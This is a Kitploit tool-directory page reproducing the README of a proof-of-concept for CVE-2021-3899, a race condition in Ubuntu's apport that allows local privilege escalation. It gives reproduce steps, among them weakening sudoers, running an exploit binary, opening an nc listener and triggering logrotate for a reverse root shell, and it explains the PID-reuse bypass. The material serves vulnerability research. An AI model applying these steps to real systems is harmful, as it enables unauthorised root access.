Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2021-3899_PoC — race condition in apport lead to Local Privilege Escalation on Ubuntu | Kitploit
Tools/GitHubGitHub/liumuqing/cve-2021-3899_poc
Privilege EscalationVulnerability AnalysisExploitationPenetration Testing
GitHubliumuqing/cve-2021-3899_poc

CVE-2021-3899_PoC

race condition in apport lead to Local Privilege Escalation on Ubuntu

View Repository
34 years agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2021-3899 PoC

Reproduce

  1. Install an older version of apport: sudo apt-get install apport=2.20.11-0ubuntu27 (any version <= 2.20.11-0ubuntu27.10 is fine, but you have to download the source code)
  2. (optional) set small pid_max. otherwise it will take a longer time to prepare for pid rollback. echo 10000 | sudo tee /proc/sys/kernel/pid_max
  3. allow anybody to run ping as root: add ALL ALL=(root) NOPASSWD: /usr/bin/ping in /etc/sudoers
  4. run multiple times of ulimit -c unlimited; ./exploit
  5. you should see a file at /etc/logrotate.d/core
  6. open another shell run nc -lvcp 1234
  7. wait until logrotate is triggered, you can:
    1. adjust the clock one minutes earlier than crontab-daily trigger, and wait. (check /etc/crontab)
    2. run sudo logrotate -vf /usr/sbin/logrotate /etc/logrotate.conf to trigger logrotate immediately. (just same as /etc/cron.daily/logrotate)
  8. there will be a reverse root shell connect to 127.0.0.1:1234

Detail

Apport will check if pid is reused, by check if the start time of the process is later than apport self:

root@kitploit:~
  # /usr/share/apport/apport
  594 apport_start = get_apport_starttime()
  595 process_start = get_process_starttime()
  596 if process_start > apport_start:
  597 error_log('process was replaced after Apport started, ignoring')
  598 sys.exit(0)

But this pid could be re-used just after apport launched. In such case, get_apport_starttime() == get_process_starttime().

So, an you can let apport drop a core file with -rw------- root:root, if you can re-ocupy this PID with another process running under uid==0:

  1. prepare a process X to crash, whose pid is A
  2. repeating fork process, until current pid reaches A - 2
  3. make process X crash, apport will be launched by kernel with pid A - 1. We kill process X, so pid A is now free.
  4. run command sudo ping 8.8.8.8 with cwd /etc/logrotate.d/. a process running under root:root will re-occupy pid A.
  5. Since the start time of sudo and apport are same, the check of line 596 is bypassed. Apport then drop a core file of process X in /etc/logrotate.d
Download Tool